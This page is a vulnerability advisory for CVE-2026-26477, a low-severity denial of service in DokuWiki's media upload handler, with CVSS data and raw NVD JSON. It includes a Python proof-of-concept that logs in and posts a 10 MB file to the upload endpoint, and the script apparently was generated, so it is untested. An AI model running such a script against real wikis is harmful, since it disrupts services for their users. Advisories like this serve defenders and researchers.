Security Vulnerability Report
中文
CVE-2026-26477 CVSS 4.3 MEDIUM

CVE-2026-26477

Published: 2026-04-03 15:16:05
Last Modified: 2026-04-09 00:16:16

Description

An issue in Dokuwiki v.2025-05-14b "Librarian" [56.2] allows a remote attacker to cause a denial of service via the media_upload_xhr() function in the media.php file

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L

Configurations (Affected Products)

cpe:2.3:a:dokuwiki:dokuwiki:2025-05-14b:*:*:*:*:*:*:* - VULNERABLE
Dokuwiki v.2025-05-14b "Librarian"

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # CVE-2026-26477 PoC Generator # Target: Dokuwiki v.2025-05-14b "Librarian" # Endpoint: media_upload_xhr in media.php def trigger_dos(target_url, username, password): session = requests.Session() # Step 1: Login (Required due to PR:L) login_data = { 'u': username, 'p': password, 'do': 'login' } print(f"[*] Attempting login to {target_url}") login_resp = session.post(f"{target_url}/doku.php", data=login_data) if 'Login' not in login_resp.text: print("[+] Login successful") else: print("[-] Login failed") return # Step 2: Send malicious payload to media_upload_xhr # The vulnerability allows triggering DoS via the upload function upload_url = f"{target_url}/lib/exe/ajax.php" # Malicious payload intended to exhaust resources or crash the process files = { 'upload': ('dos_payload.bin', b'A' * 10000000) # Large file or specific pattern } data = { 'call': 'media_upload_xhr', 'mediaid': 'test_dos' } print(f"[*] Sending DoS payload to {upload_url}") try: response = session.post(upload_url, files=files, data=data) print(f"[*] Response Status: {response.status_code}") if response.status_code == 500 or response.status_code == 0: print("[+] Potential DoS triggered (Service unavailable)") except requests.exceptions.RequestException as e: print(f"[+] Connection error: {e} (Service likely crashed)") if __name__ == "__main__": # Replace with actual target details target = "http://localhost:8080" user = "admin" pwd = "password" trigger_dos(target, user, pwd)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-26477", "sourceIdentifier": "[email protected]", "published": "2026-04-03T15:16:05.093", "lastModified": "2026-04-09T00:16:15.910", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue in Dokuwiki v.2025-05-14b \"Librarian\" [56.2] allows a remote attacker to cause a denial of service via the media_upload_xhr() function in the media.php file"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 1.4}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-770"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-400"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:dokuwiki:dokuwiki:2025-05-14b:*:*:*:*:*:*:*", "matchCriteriaId": "2A39D608-8063-47EF-BEE6-D07AF661E0E1"}]}]}], "references": [{"url": "https://github.com/Hebing123/cve/issues/94", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/dokuwiki/dokuwiki/releases/tag/release-2025-05-14b", "source": "[email protected]", "tags": ["Release Notes"]}]}}